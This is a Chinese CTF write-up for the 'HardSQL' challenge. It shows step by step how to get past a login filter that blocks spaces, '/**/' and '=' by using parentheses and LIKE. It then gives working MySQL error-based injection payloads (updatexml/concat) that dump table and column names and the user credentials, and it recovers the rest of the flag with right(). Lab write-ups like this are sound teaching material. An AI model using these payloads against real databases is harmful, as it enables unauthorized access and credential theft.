[极客大挑战 2019]HardSQL

[极客大挑战 2019]HardSQL
(主要记录一下自己做题的思路)
题目:
打开环境,得到:
在这里插入图片描述
废话不多说,都说了是hardsql了,直接fuzz测试一下
在这里插入图片描述
可以看到有很多还是没被过滤的,现在就要自己再手动测试一下常见的一些方式了,我这里说下我做这题的思路:
先试着输入了admin' #,返回了:
在这里插入图片描述
说明空格确实被过滤,接着就要想办法绕过空格了,先试着用了下/**/来绕过空格,发现同样被过滤了
在这里插入图片描述
现在只有用()括号来绕过空格了,这里简单讲下空格绕过的原理:

括号是来包含子查询的,任何可以计算出结果的语句都可以用括号围起来,而括号的两端,可以没有多余的空格

试着输入:
在这里插入图片描述
发现没有出现那几个汉子,证明绕过了空格
现在仔细观察那个error界面,猜测应该是报错注入,先试试用updatexml注入看:

admin'or(updatexml(1,concat(0x7e,database(),0x7e),1))#

可以拿到数据库:
在这里插入图片描述
继续查表名,构造payload:

admin'or(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like('geek')),0x7e),1))#

直接拿到了表名:
在这里插入图片描述
继续查列名,payload为:

admin'or(updatexml(1,concat(0x7e,(select(column_name)from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#

然后得到:
在这里插入图片描述
所以再改进一点payload为:

admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#

可以拿到列名:
在这里插入图片描述
继续构造payload:

admin'or(updatexml(1,concat(0x7e,(select(group_concat(id,'~',username,'~',password))from(H4rDsq1)),0x7e),1))#

可以拿到一半的flag
在这里插入图片描述
然后这里就要补充一点知识了,也可以对上面的payload构造有点理解

1:空格被过滤可以使用/**/或者()绕过
2:=号被过滤可以用like来绕过
3:substring与mid被过滤可以用right与left来绕过

所以这里如果要得到右边的flag的话,就要用right来构造了,直接看构造好的payload:

admin'or(updatexml(1,concat(0x7e,(select(right(password,35))from(H4rDsq1)),0x7e),1))#

最终拿到右边的flag:
在这里插入图片描述
去掉重复的,拼接上就可以了

评论 7
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

o3Ev

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值